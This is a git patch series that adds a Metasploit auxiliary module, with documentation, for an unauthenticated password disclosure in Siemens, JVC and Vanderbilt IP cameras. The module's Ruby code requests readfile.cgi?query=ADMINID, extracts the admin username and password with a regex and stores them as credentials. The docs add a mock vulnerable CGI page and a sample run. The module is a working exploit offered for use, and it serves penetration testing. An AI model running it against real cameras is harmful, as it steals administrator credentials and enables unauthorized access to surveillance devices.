From fbd81dd6aaa4e876739211690d04f6f3ae8a8e75 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 3 Feb 2019 13:40:22 -0500 Subject: [PATCH 1/3] ipcamera password disclosures --- .../gather/ipcamera_password_disclosure.md | 64 +++++++++++++++++ .../gather/ipcamera_password_disclosure.rb | 72 +++++++++++++++++++ 2 files changed, 136 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md create mode 100644 modules/auxiliary/gather/ipcamera_password_disclosure.rb diff --git a/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md new file mode 100644 index 0000000000..aa16eb0827 --- /dev/null +++ b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md @@ -0,0 +1,64 @@ +## Description + + SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU), + and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) + allow an unauthenticated user to disclose the username & password by + requesting the javascript page 'readfile.cgi?query=ADMINID'. + Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235 + +## Vulnerable Application + +This module has been verified against the mock vulnerable page listed below. + +### Mock Vulnerable Page + +These instructions will create a cgi environment and a vulnerable perl application for exploitation. +Kali rolling (2019.1) was utilized for this tutorial, with apache. + +#### Setup + +1. Enable cgi: `a2enmod cgid` +2. `mkdir /var/www/html/cgi-bin` +3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags +4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/readfile.cgi`: + +``` +#!/usr/bin/perl +use CGI qw(:standard); +$query = new CGI; +print $query->header( -type=> "text/javascript"), +$query->import_names( 'Q' ); +my $data = <<'DATA'; +var pw_enflag = "1"; +var pw_adminpw = "12345"; +var pw_retype1 = "12345"; +var pw_userpw = "56789"; +var pw_retype2 = "56789"; +var pw_autolock = "0"; +DATA +if ($Q::page == 2) { + print $data; +} +``` + +## Verification Steps + +1. Start msfconsole +2. ```use auxiliary/gather/ipcamera_password_disclosure``` +3. ```set rhosts [rhosts]``` +4. ```run``` + +## Scenarios + +### Against the Mock page listed above + + ``` + msf5 > use auxiliary/gather/ipcamera_password_disclosure + msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf5 auxiliary(gather/ipcamera_password_disclosure) > run + + [+] Found: admin:password + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/modules/auxiliary/gather/ipcamera_password_disclosure.rb b/modules/auxiliary/gather/ipcamera_password_disclosure.rb new file mode 100644 index 0000000000..a10be8afa0 --- /dev/null +++ b/modules/auxiliary/gather/ipcamera_password_disclosure.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Siemens/JVC IP-Camera Password Disclosure', + 'Description' => %q{ + SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU), + and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) + allow an unauthenticated user to disclose the username & password by + requesting the javascript page 'readfile.cgi?query=ADMINID'. + Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235 + }, + 'References' => + [ + ['EDB', '40254'], + ['EDB', '40263'], + ['EDB', '40264'] + ], + 'Author' => + [ + 'Yakir Wizman', # discovery + 'h00die', # module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Aug 16 2016' + ) + + register_options([ + OptString.new('TARGETURI', [false, 'URL of the IP-Camera root', '/']) + ]) + end + + def run_host(rhost) + begin + url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'readfile.cgi') + vprint_status("Attempting to load data from #{url}?query=ADMINID") + res = send_request_cgi({ + 'uri' => url, + 'vars_get' => {'query'=>'ADMINID'} + }) + unless res + print_error("#{peer} Unable to connect to #{url}") + return + end + + unless res.body.include?('Adm_ID=') + print_error("Invalid response received for #{peer} for #{url}") + return + end + + if res.body =~ /var Adm_ID="(.+?)";[\r\n]+var Adm_Pass1="(.+?)";/ + print_good("Found: #{$1}:#{$2}") + store_valid_credential( + user: $1, + private: $2, + private_type: :password + ) + end + rescue ::Rex::ConnectionError + print_error("#{peer} Unable to connect to site") + return + end + end +end From a0d668244bfd398f33db88aa8323d94b3f2ceaf6 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 5 Feb 2019 05:12:03 -0500 Subject: [PATCH 2/3] update ipcamera docs --- .../auxiliary/gather/ipcamera_password_disclosure.md | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md index aa16eb0827..dad04fc824 100644 --- a/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md +++ b/documentation/modules/auxiliary/gather/ipcamera_password_disclosure.md @@ -29,14 +29,12 @@ $query = new CGI; print $query->header( -type=> "text/javascript"), $query->import_names( 'Q' ); my $data = <<'DATA'; -var pw_enflag = "1"; -var pw_adminpw = "12345"; -var pw_retype1 = "12345"; -var pw_userpw = "56789"; -var pw_retype2 = "56789"; -var pw_autolock = "0"; +var Adm_ID="admin"; +var Adm_Pass1="password"; +var Language="en"; +var Logoff_Time="0"; DATA -if ($Q::page == 2) { +if ($Q::query == "ADMINID") { print $data; } ``` From 25af2b4a6b985149ecb12bf98017af28d96f6bab Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 7 Feb 2019 15:14:13 -0500 Subject: [PATCH 3/3] \s over \r\n ipcamera --- modules/auxiliary/gather/ipcamera_password_disclosure.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ipcamera_password_disclosure.rb b/modules/auxiliary/gather/ipcamera_password_disclosure.rb index a10be8afa0..673d81008b 100644 --- a/modules/auxiliary/gather/ipcamera_password_disclosure.rb +++ b/modules/auxiliary/gather/ipcamera_password_disclosure.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Siemens/JVC IP-Camera Password Disclosure', + 'Name' => 'JVC/Siemens/Vanderbilt IP-Camera Readfile Password Disclosure', 'Description' => %q{ SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU), and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary return end - if res.body =~ /var Adm_ID="(.+?)";[\r\n]+var Adm_Pass1="(.+?)";/ + if res.body =~ /var Adm_ID="(.+?)";\s+var Adm_Pass1="(.+?)";/ print_good("Found: #{$1}:#{$2}") store_valid_credential( user: $1,